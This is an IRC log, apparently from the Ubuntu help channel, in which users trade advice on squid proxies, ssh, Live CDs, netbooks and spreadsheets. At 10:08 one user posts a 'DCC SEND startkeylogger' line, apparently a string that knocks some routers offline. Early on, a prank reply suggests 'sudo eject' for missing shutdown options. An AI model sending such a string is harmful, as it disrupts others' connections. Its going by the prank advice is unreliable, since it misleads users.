[08:42] <Gargantua> ok :)
[08:43] <zr0gee> or ubuntu-forums ;P
[08:43] <zr0gee> the channel, I mean
[08:43] <Gargantua> but mrkiko is not there :(
[08:44] <Pirate_Hunter> Flannel: just saying that i was about to do it when i realised what they were talking about
[08:44] <lint> can someone tell me why reboot and shutdown have dissapeared from my logout menu?
[08:45] <mrkiko> Gargantua: sorry, reading...
[08:45] <bartounet> yop yop
[08:45] <nileshpatil> lint> : did u try eject command
[08:46] <nileshpatil> lint> if that doesnt work ..... try this ..... sudo eject
[08:46] <bartounet> que pensez vous de chrome?
[08:47] <dirty_bob> is sudo the modifier to tell the terminal to run as root?
[08:47] <Irreducibilis> !fr
[08:48] <Jordan_U> dirty_bob: Yes, but its actually a binary, not a "modifier" ( /usr/bin/sudo )
[08:49] <Expl0ited> anyone have any experience with bluetooth and a palm device.. Im ripping out my hair trying to figure this thing out.
 : what exactly are you looking out in bluetooth ?
[08:50] <Expl0ited> I want the thing to sync. it won't Ive read like 30 different suggestion I get the same errors.
[08:50] <bindaas> dirty_bob : u can do sudo anyuser and run commands that have privileges for that user
[08:50] <dirty_bob> ahh
[08:50] <dirty_bob> good to know
[08:50] <bolrog> anybody know what target to write in a makefile to get make to compile all of the sources in a directory into their corresponding objects in another directory?
[08:51] <Expl0ited> i_bind error: /dev/pilot No such file or directory
[08:51] <Expl0ited> Check your serial port and settings
 : what error are you getting ? and what are you trying ?
[08:51] <Expl0ited> I have, it doesn't work.
[08:51] <dirty_bob> if i can get video and sounds working, i can deal without the wifi
[08:51] <Expl0ited> Im not using a USB cable, Im using USB isntead.
[08:51] <Expl0ited> err bluettoth.
[08:52] <Omar87> How do I find out which version of Linux kernel I have?
[08:52] <Expl0ited> Omar87: uname -a
[08:52] <favro> lsb_release -a
[08:52] <favro> oops
[08:52] <Expl0ited> lol favro close :P
[08:52] <mistform> pidgin is muffed, the repos have a bugged release
[08:52] <hangthedj> Omar87, uname -r
[08:53] <favro> Expl0ited: I should read things first...
[08:53] <karooga> hi, what's the correct channel for getting help packaging python extensions?
[08:53] <m0u5e> anyone know how to use subtract in formulas for openspreadsheet?
[08:53] <jussi01> karooga: #ubuntu-motu perhaps
[08:53] <Expl0ited> karooga: #python is where you want to go :P
[08:53] <Xcerca> anybody using lirc and a remote ?
[08:53] <rampageoberon> m0u5e: sorry what?
[08:53] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:53] <m0u5e> its really frustrating... i believe in excel the command is just =SUB... but SUB does not exist in ooo spread
[08:54] <karooga> thanks jussio01, Expl0ited :-)
[08:54] <m0u5e> rampageoberon: how do i subract :/
[08:54] <rampageoberon> m0u5e: yes it doesn't exist, just make the numbers negative and use SUM
[08:54] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:54] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:54] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:54] <krishna> can i use an IP thats something like 192.168.1.1 instead of the default 192.168.0.1 for a squid proxy???
[08:55] <FloodBot2> krishna: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[08:55] <m0u5e> rampageoberon: thats stupid :X
[08:55] <ianm_> is the 'bzr' command offered by the 'bzr' package now?  I thought it wasn't before
[08:55] <Expl0ited> so... bluetooth and my palm device Im out of luck on them
[08:55] <m0u5e> rampageoberon: that completely defeats the purpose of using sub
[08:55] <krishna> im going bonkers
[08:55] <krishna> and im in a hurry someone hlp
[08:55] <rampageoberon> m0u5e: no its quite logical, as i can't see what logic subtract would use in regards to referencing
[08:56] <rampageoberon> m0u5e: you could always write your own function if need be and name it SUB
[08:56] <Expl0ited> !patience | krishna
[08:56] <zcat[1]> krishna: you use whatever is the IP address of the smachine squid is running on.. you can set it up as 192.168.1.254 if you  want..
[08:56] <m0u5e> rampageoberon: no because for example i have a spreadsheet of numbers, and i want to find the difference between the two
[08:56] <zcat[1]> krishna: or 10.1.1.1 or 10.9.8.7 even
[08:56] <m0u5e> rampageoberon: i dont want to change my original value, i need the program to subtract the two to see if my difference is positive or negative
[08:57] <rampageoberon> m0u5e: so you have just 2 numbers? or a list of numbers?
[08:57] <m0u5e> rampageoberon: it was just an example, but i have a list of numbers
[08:57] <T2> heelo, what other programs can i use in ubuntu instead of itunes to upload video files onto an iphone?
[08:57] <rampageoberon> m0u5e: use A - B ?
[08:57] <m0u5e> rampageoberon: and i have other formulas depending on those #s so i cannot change them
[08:57] <mistform> krishna, join #squid
[08:57] <m0u5e> oh lol?
[08:57] <Expl0ited> T2: there isn't nor will there ever be itunes for ubuntu
[08:57] <krishna> okay
[08:57] <Shawn^_^> 大家好。
[08:58] <rampageoberon> m0u5e: not sure what the structure of the sheet is, could you show a sample
[08:58] <m0u5e> rampageoberon: i just want to subtract a list of numbers (sorry if im confusing you)
[08:59] <rampageoberon> m0u5e: subtract them from what, and is it possible to see a sample file i could try help more after i look at the structure of the sheet (you can change labels and values)
[09:00] <krishna> say if my adsl default gw is 192.168.1.1
[09:00] <m0u5e> rampageoberon: okay so lets say i have value which is stored in A1, i want A1 to be subtracted by B1:F1
[09:00] <m0u5e> rampageoberon: err okay let me pastebin lol
[09:00] <zcat[1]> krishna: what's the IP address of the machine that is running squid?
[09:01] <krishna> i want the proxy to serve requests same ip range
[09:01] <m0u5e> !paste|m0u5e
[09:01] <krishna> first of all i need to install squid on this sam machine
[09:01] <krishna> but then i am on a network
[09:02] <zcat[1]> krishna: First of all, add this to your squid conf; acl our_networks src 192.168.1.0/24
[09:02] <Pirate_Hunter> how can i find out in terminal which directory is firefox.cfg located in?
[09:02] <amerinese> anyone have experience using an nvidia card to run two monitors?  i'd like to map a workspace to each monitor... is that possible?
[09:03] <zcat[1]> krishna: and then add this; http_access allow our_networks
[09:03] <krishna> zcat..thats too complex for me...
[09:03] <krishna> im a zero in linux
[09:03] <zcat[1]> krishna: that will allow anyone in the 192.168.1.0-255 network to access the progy.
[09:04] <Xcerca> ﻿amerinese   can't you use nvidia-settings ?
[09:05] <Xcerca> it's best to sudo nvidia-settinfs
[09:05] <amerinese> xcerca: it's set to twinview right now... i mean, i don't see anything about workspaces
[09:05] <krishna> that means if adsl ip is 192.168.1.1 then can the proxy serve it on the same series of 192.168.1.3 onwards?
[09:05] <krishna> upto 255?
[09:05] <bolrog> anybody know what target to write in a makefile to get make to compile all of the sources in a directory into their corresponding objects in another directory?
[09:05] <zcat[1]> krishna: well setting up a squid proxy requires some basic network knowledge. You might need to learn up a little or get someone to help you. Is there a LUG in your area?
[09:05] <Xcerca> ﻿amerinese that would be a gnome or compiz setting
[09:06] <amerinese> xcerca: yeah not sudo'ing really tripped me up
[09:06] <zr0gee> Can anyone tell me if the "Hibernate" button in the power-down-menu, is actually a true hibernation (meaning, it will safely power off my pc and save my progress), or do I still need to have power attached to it ? :p
[09:06] <rampageoberon> m0u5e: done the paste?
[09:06] <amerinese> it should be on by default or else you can't save settings
[09:06] <krishna> i know a person who helps me out but he is also not too sure about how to get GUI for squid
[09:06] <zcat[1]> krishna: yes .. 192.168.1.0/24 means all of 192.168.1.1 to 192.168.1.254 will be aqble to access the proxy
[09:06] <krishna> thats gr8
[09:06] <Otacon22> hola
[09:07] <zcat[1]> I don't know of any GUI for squid. webmin might have some plugin for it..
[09:07] <nileshpatil> squidguard
[09:07] <amerinese> xcerca: where would i start to edit gnome or compiz settings?
[09:07] <nileshpatil> <zcat : TRY SQUIDGUARD
[09:07] <nileshpatil> zcat : even
[09:08] <zcat[1]> ummm squidguard is something totally different.. not a GUI configuration tool at all
[09:08] <nileshpatil> dansguardian
[09:08] <krishna> okay will try squidguard
[09:09] <nileshpatil> <krishna : hay krishana what are you trying to do ?
[09:09] <bolrog> zr0gee: it powers off your computer after storing everything in ram to your hard drive
[09:09] <krishna> tryin to install squidguard
[09:09] <nileshpatil> krishna : are you just looking for GUI for squid ?
[09:09] <nate_> i installed a theme for ubuntu and its messed up my firefox the games are not the right colors how do i get rid of the theme on firefox?
[09:09] <zcat[1]> krishna: squidguard and/or dansguardian are filters for stopping people from accessing 'bad websites' through the proxy.
[09:09] <krishna> hoho
[09:09] <krishna> im sorry
[09:09] <krishna> anyways
[09:09] <Pirate_Hunter> does firefox use the same directory for /usr/share/doc/firefox-3.0/firefox.cfg on all users or does it look elsewhere for each user?
[09:09] <krishna> i installed it
[09:10] <krishna> but im dying to know how to get it to gui
[09:10] <krishna> cos im zero in cli
[09:10] <zr0gee> bolrog: thanks alot - that's all I wanted to know
[09:10] <bolrog> zr0gee: yeah, the difference between hibernate and suspend is that in hibernate, your comp is powered off
[09:11] <zr0gee> Yes - unfortunately, I have had bad experience with "hibernation" in a certain commercial OS ..
[09:11] <chezerian> what is the release dat ofr 8.10 ?
[09:11] <krishna> yes nilesh
[09:12]  * sber bye
[09:12] <Pirate_Hunter> can someone answer my question if they know please?
[09:15] <mistform> chezerian, i though october?
[09:15] <nileshpatil> krishana : there are webmin modules available for squid proxy server and squid report generator
[09:15] <mistform> he's gone
[09:15] <mistform> :P
[09:15] <slamFIST> Pirate_Hunter: i would assume so, considering it's in /share/
[09:16] <balle_> how can i uninstall different window managers? for exemple fluxbox or kde?
[09:16] <nileshpatil> krishna : for this you need to install webmin first and then get the module from webmin.com
[09:16] <misse-> Hi, I need som help regarding a 3ware 7506-8 controller card. I'm running ubuntu 8.04.1 server with the 24.6-19 kernel, and lspci finds the pci card, modinfo 3w_xxxx shows the module as loaded correctly. But I can't find my array using fdisk or any other tool I can think of. Anyone got an idea?
[09:16] <krishna> ok
[09:17] <krishna> how do i install that
[09:17] <krishna> ?
[09:17] <genius> why two of ubuntus register their hostnames on dhcp, and other two does not? how  to fix?
[09:17] <jpds> krishna: FloodBot1 is a computer, he can not talk to you.
[09:17] <krishna> okay
[09:17] <krishna> im on xchan first time
[09:17] <krishna> xchat first time
[09:17]  * Lord-Meka is anyone here runing Conquer Online 2.0 under UBUNTU?
[09:18] <methods2> is there a way to save state to a usb pen drive from a live cd so that i can reboot ?   why i need to reboot baffles me too...
[09:19] <Amomynous> does anyone know where i might find a working realtek driver ko?
[09:19]  * Lord-Meka is anyone here runing Conquer Online 2.0 under UBUNTU?
[09:19] <Amomynous> methods2: https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[09:20] <Pirate_Hunter> slamFIST: so would i but will need to check once i figure out why dansguardian is nto starting up
[09:20] <methods2> is there like a mouse pad configuration tool for changing how it behaives ?
[09:20] <mistform> you want to configure your mouse pad?
[09:21] <Amomynous> yeah, just system>mouse
[09:21] <AdvoWork> Hi there, ive got a cronjob running at 8am,9am,10am,11am and 12 which runs a script.sh consisting of: http://paste.ubuntu.com/43575/ to mount the share. I have to do this every day because it loses the share when the client pc is turned off at night? also, if a user has a web browser open which uses the share, it wont let me mount and the cronjob fails,is there a way around this? cheers
[09:21] <methods2> Amomynous: i'm not looking for installing to a usb pen drive... i have a live cd in and i just want to simply save state... so wahtever changes were done are still there when i reboot with live cd + usb
[09:22]  * Lord-Meka is anyone here runing Conquer Online 2.0 under UBUNTU 7.10?
[09:23] <Amomynous> methods2: yeah, that's what the link is about... make the Persistant Home /media/whatever your drive is
[09:23] <slamFIST> methods2: wouldn't that be easier to just have the OS installed on your pen drive
[09:23] <methods2> hm that mouse configuration has some things lacking... for one thing i thing it would be nice to have the pad disabled if a keystroke was detected within a certain timeout
[09:23] <methods2> slamFIST:  are you ok?
[09:23] <Amomynous> when you run the livecd again it should mount the usb disk at init and then look for the persistant home on there
[09:24] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[09:24] <methods2> yea i mean i'm testing out the system still
[09:25] <methods2> hey is it possible to like literally turn off my cdrom in my laptop ?
[09:25] <mise_en_place> Isn't Ubuntu 8.10 Intrepid Ibex  supposed to have already been released?
[09:26] <legend2440> Pirate_Hunter: http://ubuntuforums.org/showthread.php?t=428625
[09:26] <XGas> mise_en_place: No, only development releases
[09:26] <mise_en_place> hmmm
[09:26] <XGas> mise_en_place: the number 8.10 means year 2008, October
[09:27] <Pirate_Hunter> legend2440: thats the same thread im looking at :(
[09:27] <lyy> what's a good indication of thrashing on a machine? I can tell if I listen to the machine but what if i'm remotely logged in?
[09:27] <mise_en_place> oh... I guess it is a little delayed
[09:27] <mise_en_place> I can't wait for the new driver release for the wifi
[09:27] <MTecknology> Pirate_Hunter: repeat
[09:27] <XGas> mise_en_place: Delayed? No, its not even the release date yet.
[09:27] <Myrtti> krishna: FloodBot1 is a *bot*
[09:27] <XGas> :\
[09:28] <slamFIST> lyy: top command maybe?
[09:28] <hangthedj> Pirate_Hunter: repeat
[09:28] <slamFIST> or.. htop is better
[09:28] <lyy> slamFIST: what should i look for in top?
[09:28] <mise_en_place> bleh nevermind... I am waiting anxiously
[09:28] <slamFIST> tells you cpu usage etc
[09:28] <lyy> so if it's 100% cpu utilized it's thrashing?
[09:29] <lyy> is that gauranteed?
[09:29] <slamFIST> what exactly is your idea of thrashing
[09:29] <ActionParsnip> slamFIST: Pantera :D
[09:30] <slamFIST> haha
[09:30] <mise_en_place> yes lyy you probably have some serious resource consumption taking place
[09:31]  * slamFIST pets htop
[09:31] <lyy> slamFIST: when a process needs to page out often
[09:32] <lyy> exessively
[09:32] <lyy> so often that other processes don't get enough time slice to do any work
[09:33] <tgillespie> hi all, is anyone running ubuntu-netbook on an eee 901? Im looking to buy one but want to know what kind of battery life i can expect with the netbook optimizations
[09:33] <LSD|Ninja> tgillespie: over nine thousand
[09:34] <ActionParsnip> tgillespie: i run eeeXubuntu and its fine
[09:34] <ActionParsnip> tgillespie: depends what you do with it really
[09:34] <slamFIST> lyy: yea it's pretty accurate if that's what you were wondering
[09:34] <tgillespie> ActionParsnip just at idle
[09:34] <ActionParsnip> tgillespie: oh loads, atom cpus are sweeeeet
[09:34] <ActionParsnip> tgillespie: ive got a 701
[09:35] <ActionParsnip> tgillespie: theres a tonne of subnotebooks now, id look at those as well
[09:35] <tgillespie> ActionParsnip: well... ive heard 7 hours thrown around, but I'm tending not to believe that...
[09:35] <KenSentMe> Is it possible to turn html code highlighting on in gedit for documents without .htm extension or doctype defined?
[09:35] <tgillespie> ActionParsnip i just want the one with the highest battery life lol, the 901 seems a good bet
[09:36] <methods2> KenSentMe:  yes look in the menu
[09:36] <KenSentMe> Ah, nevermind, lazy me
[09:36] <methods2> :]
[09:36] <tobywuk> Im trying to move a file from one directory to a different one. How do I referance the destination?
[09:36] <tgillespie> ActionParsnip the hp one looks nice, but the linux version only has a 3 cell :(
[09:36] <LSD|Ninja> At the very least get a 900, the 700 series Eee's are a joke
[09:36] <untitled> i just bought an aspire one
[09:36] <ActionParsnip> tgillespie: id read reviews, dell kicked out mini inspuron and msi have their air
[09:36] <untitled> it actually is great... when you remove linpus
[09:36] <tgillespie> untitled what battery life do you get?
[09:36] <tobywuk> Would this be correct:  mv /downloads/file1.txt  ~/desktop.file1.txt   ?
[09:37] <ActionParsnip> tgillespie: then buy the windows one, waste money on the license but get more battery life
[09:37] <untitled> ages... well, 3 hours maybe
[09:37] <tgillespie> ActionParsnip yea I was looking at the dell as wel, but only the windows one in the uk :(
[09:37] <ActionParsnip> tgillespie: i dont use it mobile really
[09:37] <untitled> this is 3 hours of lazarus, youtube and irc
[09:37] <ActionParsnip> tgillespie: im from uk ;P
[09:37] <LSD|Ninja> it's not like you pay *that* much for the windows licences, MS sell them to companies like Asus, HP or whatever for peantus
[09:37] <tgillespie> untitled hmm youtube with flash or gnash? cos flash eats my cpu like nothing else lol
[09:37] <ActionParsnip> tgillespie: theres the olpc laptop
[09:38] <tgillespie> ActionParsnip haha =)
[09:38] <untitled> flash
[09:38] <tgillespie> LSD|Ninja true, but there still seems to be a fair difference
[09:38] <tgillespie> LSD|Ninja but that could be the 2gb of ram...
[09:38] <untitled> gnash i haven't tried... but i might well do
[09:38] <tgillespie> untitled 3 hours with flash running seems good then
[09:39] <ActionParsnip> untitled: yu could try nspluginwrapper withthe adobe one
[09:39] <untitled> tgillespie: essentially, you buy the linux one (white seems to be more likely to have samsung ssd)
[09:39] <untitled> tgillespie: then run this script http://www.aspireoneuser.com/forum/viewtopic.php?f=31&t=1256&st=0&sk=t&sd=a
[09:39] <ActionParsnip> untitled: theres also a script to setup flash but i didnt have any success with it personally
[09:39] <untitled> and it removes all the acer shit
[09:39] <hangthedj> I'm sorry but gnash is a peice of crap.
[09:39] <hangthedj> Last update was what 2, 3 years ago?
[09:40] <untitled> ActionParsnip: add livna repository (or multiverse for ubuntu)
[09:40] <ActionParsnip> tgillespie: loads of users are boycotting the eee pc as they broke the gpl
[09:40] <ActionParsnip> untitled: what for?
[09:40] <untitled> ActionParsnip: and install gnash --nodeps
[09:40] <ActionParsnip> untitled: i have flash
[09:40] <tgillespie> ActionParsnip doesnt suprise me lol. what did they do?
[09:40] <methods2> so all this stuff is seriously running on a ramdisk right now? i mean i downloaded and installled various programs lol
[09:41] <ActionParsnip> tgillespie: they modified some power management kernel module and wont give the source back
[09:41] <untitled> ActionParsnip: sorry, i was on about free flash... oops
[09:41] <untitled> and about the eee, they also hid wireless driver source apparently
[09:41] <tgillespie> ActionParsnip ah right, so maybe when that comes out ill get even more battery life? :-D
[09:41] <untitled> but it's now up
[09:41] <lyy> slamFIST: thanks
[09:42] <lyy> time to sleep]
[09:42] <ActionParsnip> untitled: well its already in the stock OS, so yeah
[09:42] <ActionParsnip> untitled: sorry that was for tgillespie
[09:42] <Lynoure> Is it normal that Istanbul is "in process of saving to disk" for a longer time than the actual duration of the clip?
[09:42] <untitled> roff
[09:42] <ActionParsnip> tgillespie: its already in the stock OS
[09:42] <tgillespie> ActionParsnip no i mean when i install the netbook remix
[09:42] <ActionParsnip> tgillespie: but i dont know about if yu installed say gentoo or somesuch
[09:43] <ActionParsnip> tgillespie: never come across it
[09:43] <tgillespie> hmmm
[09:43] <untitled> how's the driver support in netbook remix?
[09:43] <untitled> in regards to intel chipset
[09:43] <tgillespie> untitled you just install it over the top of stock ubuntu
[09:43] <tgillespie> untitled oh you mean the atom optimizations?
[09:44] <untitled> aaaaaaah reet
[09:44] <Amarth_> hey i was wondering if anyone has experience in dual booting with installing windows after ubuntu is installed. i've run into a wall and extensive web searches have led to people suggesting i wipe the drive an?d start with xp before ubuntu. is there any other way
[09:44] <untitled> either way... atom is basically pentium M and 945 so either way
[09:44] <tgillespie> untitled apparently there are some optimizations for the atom cpu, but i dunno what they include
[09:44] <ActionParsnip> tgillespie: id install fluxbox instead :D
[09:45] <untitled> i hate fluxbox...
[09:45] <untitled> although the last time i used it was in knoppix 3
[09:45] <tgillespie> ActionParsnip lol, the netbook wm looks quite neat actually
[09:45] <tgillespie> from a space saving perspective
[09:46] <ActionParsnip> untitled:  i love a clean no messing wm
[09:47] <Pie-rate> ﻿what's the best way to install vmware player on ubuntu, rpm with alien or with the .tar?
[09:47] <lasaryus> Hi.. I am trying to install .net framework on wine and i am getting the error x desktop not running please check the values in display or something.. Can someone help?
[09:48] <ActionParsnip> Pie-rate: id go with .tar
[09:48] <untitled> tarball
[09:48] <lasaryus> X server
[09:48] <lasaryus> sorry
[09:48] <lasaryus> not x desktop
[09:48] <ActionParsnip> Pie-rate: id advise never use rpm in debian rigs
[09:48] <Pie-rate> ActionParsnip: well alien converts them to .deb
[09:49] <ActionParsnip> Pie-rate: its similar but not the same once youve converted it
[09:49] <T3> hello, can anyone thelp me with why i am not able to view the bloomberg tv through the bloomberg.com website through ubuntu, my sound works on youtube and so not an issue with my sound card why does it not work on bloomberg tv?
[09:49] <ActionParsnip> Pie-rate: and something like vmware, you want it stable
[09:49] <ActionParsnip> what plugin does it use?
[09:49] <Guest57631> can any one help in installing the open office 2 as i have downloaded and it's format is OOo_2.4.1_LinuxIntel_install_wJRE_en-US.tar.gz   now can any one guid me it's installation i tried all ways but unable to do so
[09:50] <favro> !openoffice
[09:50] <ActionParsnip> !compile | Guest57631
[09:50] <ActionParsnip> Guest57631: its in repos dude
[09:50] <Guest57631> may i have the repos link
[09:50] <favro> !repos
[09:50] <ActionParsnip> !info openoffice
[09:50] <jonaskoelker> hi all.  Where's the guidelines to making a Request For Packaging?  ISTR there being a wiki page or something, but google is failing me
[09:51] <lasaryus> anyone help with my X server problem in installing .net framework with wine?
[09:51] <bolrog> !info openoffice.org
[09:51] <ActionParsnip> Guest57631: search for it in synaptic
[09:51] <C0nn0R_> How is everyone ?
[09:52] <Guest57631> sir i need the dba tool as to do work with access file and i was guided to download the new open office base which i did but now em not able to install it
[09:52] <ActionParsnip> T3: its a video so you'll need plugins for your browser
[09:52] <T3> ActionParsnip: which plugins as other websites i can play the videos like youtube is fine
[09:53] <ActionParsnip> T3: well i just checked it in xp with firefox, it says no video (i believe its caching)
[09:54] <ActionParsnip> T3: it is video: Windows Media Video 9
[09:55] <Ape3000> What is the maximum amount of usable ram in 32 bit / x86 Ubuntu?
[09:55] <Pie-rate> https://help.ubuntu.com/community/VMware/Player
[09:55] <Pie-rate> step 1 is: "Install the kernel modules packages. See Installing Software."
[09:55] <Pie-rate> WTF does it mean by the "kernel modules packages?"
[09:55] <ActionParsnip> t3: youtube uses flash, not vdeo
[09:55] <genius> what program can i use that is similar to netstumbler?
[09:55] <T3> ActionPatsnip: i already have adobe flash player installed on ubuntu
[09:55] <Ape3000> My friend has 4 Gb ram, but ubuntu only shows 3.2 Gb.. It this normal?
[09:55] <ActionParsnip> Ape3000: 4gb without anything funky
[09:55] <slamFIST> Pie-rate: dont worry about that, i think you can go on to the next step
[09:55] <ActionParsnip> Ape3000: you need to tweak your rig
[09:56] <LSD|Ninja> Ape3000: perfectly normal under 32 bit
[09:56] <favro> Guest57631: if you double click the file file roller will unpack it - there normally is a readme to get you started
[09:56] <Pie-rate> slamFIST: that's totally confusing and should be removed
[09:56] <jonaskoelker> genius: swscanner says it's compatible with netstumbler files; I don't know what either program does, but I'd assume it's something somewhat similar
[09:56] <slamFIST> lol
[09:56] <Pirate_Hunter> hangthedj, MTecknology, legend2440: sorry back could you come back to help me please i got disconnected
[09:56] <Pie-rate> slamFIST: should either specify a package name or just be deleted
[09:56] <Guest57631> but in this i didn't find any thing sir favro :
[09:56] <jonaskoelker> genius: what does netstumbler do, find wifi networks?
[09:56] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[09:57] <ActionParsnip> !info netstumbler
[09:57] <AdvoWork> how come you have to keep remounting samba shares if the client with the share going to the server is turned off every night?
[09:58] <ActionParsnip> Pirate_Hunter: never used it man, sorry
[09:58] <genius> no, i want to scan neiborhood, because someone is killing my wifi. netstumbler can show the graph of connection quality with some ap
[09:58] <Pirate_Hunter> ActionParsnip: np
[09:59] <ActionParsnip> genius: use your wireles tools to show signal strength
[09:59] <shoeunited__> hmm
[09:59] <ActionParsnip> genius: how would they kill your wifi
[10:00] <FloodBot2> !netsplit
[10:00] <genius> ActionParsnip: i don't sure. i want to check what is happening
[10:00] <ActionParsnip> genius: turn on loggin in your AP
[10:01] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[10:02] <Guest57631> how can i go to default root user
[10:02] <ActionParsnip> Guest57631: youdon't, just use sudo or gksu
[10:02] <ActionParsnip> Guest57631: sudo for cli apps, gksu for gui
[10:03] <Guest57631> well i want to untar the package can any one help me out in dis
[10:03] <ActionParsnip> Pirate_Hunter: http://ubuntuforums.org/showthread.php?t=428625
[10:03] <Guest57631> the tar package is on  mysedktop
[10:04] <ActionParsnip> Guest57631: tar zxvf /path/to/file.tar
[10:04] <DreamLnr> hi
[10:04] <ActionParsnip> hi Dreaml
[10:04] <DreamLnr> my pavillion with gutsy does not get gateway address while connecting to wifi network
[10:04] <DreamLnr> it does get an ip
[10:04] <DreamLnr> but no gw
[10:05] <DreamLnr> where may be the problem?
[10:06] <DreamLnr> btw it doesnt get the gateway on a particular network
[10:06] <DreamLnr> on my home network everything is ok
[10:06] <jonaskoelker> DreamLnr: my first guess would be a badly configured dhcp server
[10:06] <Pie-rate> vmware installer asks too many questions
[10:07] <ActionParsnip> DreamLnr: id add it to /etc/network/interfaces
[10:07] <Pirate_Hunter> ActionParsnip: that only is if your using squid im using tinyproxy and i have looked at that thread
[10:07] <DreamLnr> admins said dhcp server is 100% ok
[10:07] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[10:07] <ActionParsnip> DreamLnr: under your wifi device name add gateway x.y.z.a
[10:07] <ActionParsnip> DreamLnr: http://www.cyberciti.biz/faq/howto-debian-ubutnu-set-default-gateway-ipaddress/
[10:08] <Shea_72> Ciao!
[10:08] <Ohaiguiz> DCC SEND startkeylogger 0 0 0
[10:08] <Neophos> I'm trying to install Subversion, but in the terminal it just says that libsvn1 can't be installed. When I try in Synaptic, it comes down to that libpq5 can't be installed because I'm lacking libldap2, but that package doesn't exist. Any ideas?
[10:09] <DreamLnr> and the strangest thing is that the  pc used to connect and get the gw a year ago, but now it doesnt
[10:09] <ivo> i have liveCd version that can't install on hard disk. is it possible to copy this liveCd to disk, and start like friom cdrom?
[10:10] <ActionParsnip> Neophos: http://www.nabble.com/Bug-482684:-installation-of-libldap2-with-apt-get-attempts-to-uninstall-essential-packages-td17447535.html
[10:10] <ActionParsnip> Neophos: http://groups.google.se/group/linux.debian.bugs.dist/msg/d41c49506000e15d
[10:11] <morningwalker> guys, how to use ssh?? is it ssh username@ipadd??
[10:12] <pajamian> !netsplit
[10:12] <pajamian> heh
[10:13] <pajamian> morningwalker: ssh user@host.com
[10:14] <morningwalker> host.com???
[10:14] <morningwalker> i thought it was ip address!!
[10:15] <tommax1> what's happend?
[10:15] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[10:15] <morningwalker> guys how to use ssh??
[10:15] <pajamian> morningwalker: you can use the IP address if you want, either one should work.
[10:15] <tommax1> ssh user@host
[10:15] <morningwalker> ssh (username)@(IP_ADDRESS) right??
[10:16] <pajamian> morningwalker: yes, that should work.
[10:16] <tommax1> IP_ADDRESS can be like a name of host that u have mapped in /etc/hosts
[10:16] <morningwalker> phew
[10:16] <morningwalker> i was confused between ipaddress and host
[10:17] <Pirate_Hunter> can someone help me please, dansguardian gives error when doing dpkg-reconfigure dansguardian it says "error connecting to parent proxy" how can i fix this?
[10:17] <pajamian> morningwalker: either will work.  If it follows the format of an IP address then it will just connect, otherwise it will look up the IP address for you.
[10:18] <Metatron> anyone know how to tell Evolution which port the IMAP server users, google uses non defaults, i dont see it
[10:18] <Metatron> uses that is
[10:19] <Ardha> ooi-
[10:19] <ubunt3> Hei.
[10:19] <ubunt3> Is it possible to install something using Live CD?
[10:20] <pajamian> ubunt3: of course, what do you want to install?
[10:20] <tommax1> hi, a software for linux like "MS photo story 3"?
[10:20] <kindofabuzz> ubunt3, i think you need the alternative.  you mean pull a pcakage?
[10:20] <ubunt3> pajamian, like flash.
[10:20] <morningwalker> ubuntu has which security enforcer in place of SELinux like in fedora...?
[10:20] <pajamian> ubunt3: well, something like flash, yes, but flash itself is not on the live CD
[10:20] <kindofabuzz> ubunt3, umm you're online now, why not just apt-get it?
[10:21] <ubunt3> pajamian, so i can't use it.
[10:21] <ubunt3> kindofabuzz, well i know apt-get, but after install, can i use it.
[10:21] <pajamian> !flash | ubunt3
[10:22] <ubunt3> Looks like it's pointless to install, because it's won't work.
[10:22] <kindofabuzz> ubunt3, huh? why could't you?
[10:22] <krishna> how do i enable gui for squid proxy??
[10:22] <kindofabuzz> get the flash 10 rc
[10:22] <Metatron> im not real familar with ubuntu's live cd, but other distor's save data liek that to a  save file, so yes you keep your apps
[10:22] <pajamian> ubunt3: of course.  There's lots of packages that aren't on the CD and you can use apt-get or syntaptic to install them directly off the internet.
[10:23] <Metatron> i think he means when he reboots from the live cd will he still have his apps
[10:23] <ubunt3> pajamian, well, that i know and tried, but i installed bittorrent too, but still i can't nowhere to start using it.
[10:23] <krishna> can anyone tell me if i can run the fast trade terminal of sharekhan through mozilla in ubuntu?
[10:23] <kindofabuzz> oh your asking if you install something while running live cd will it save? no
[10:23] <pajamian> ubunt3: sorry, you mean you want to install it when using the live CD.  I thought you meant you just wanted to install it from the live CD.
[10:24] <krishna> in windows it requires jvm to run...in IE
[10:24] <ubunt3> Yep, i tried to ask that. :)
[10:24] <krishna> it doesnt run in mozilla on windows either
[10:24] <pajamian> ubunt3: well, yes you can, but when you reboot you will loose it.
[10:25] <ubunt3> pajamian, that's not problem, i would like to use flash, when i use Live CD.
[10:25] <Metatron> somebody jump start my brain, there must be a way in evolution to tell it what port to use for an imap server, i just dont see it
[10:26] <Metatron>  do i stick it on the end or something, like imap.server.com:port
[10:26] <pajamian> ubunt3: well, there may be a way to customize the live CD, I haven't tried it.  To be honest I don't recommend using the live CD on a regular basis, imo it's good for trialling ubuntu and for rescue, and recovery operations, etc.
[10:27] <Metatron> i thought there was a way to save a session to a file or usb device with live CD
[10:27] <pajamian> Metatron: maybe, I don't know
[10:28] <ubunt3> pajamian, i didn't mean to use it regulary, i could install it next to windows, but i think that i may ruin everything.
[10:28] <xkpe> hi
[10:29] <pajamian> ubunt3: yeah, I understand, I just don't consider the live CD to be a great experience.  Boot time is long and apps tend to load very slowly off the live CD
[10:29] <xkpe> i changed the dns on the network configuration interface, but after a litle while it changes back to something that does not work
[10:29] <pajamian> !hi | xkpe
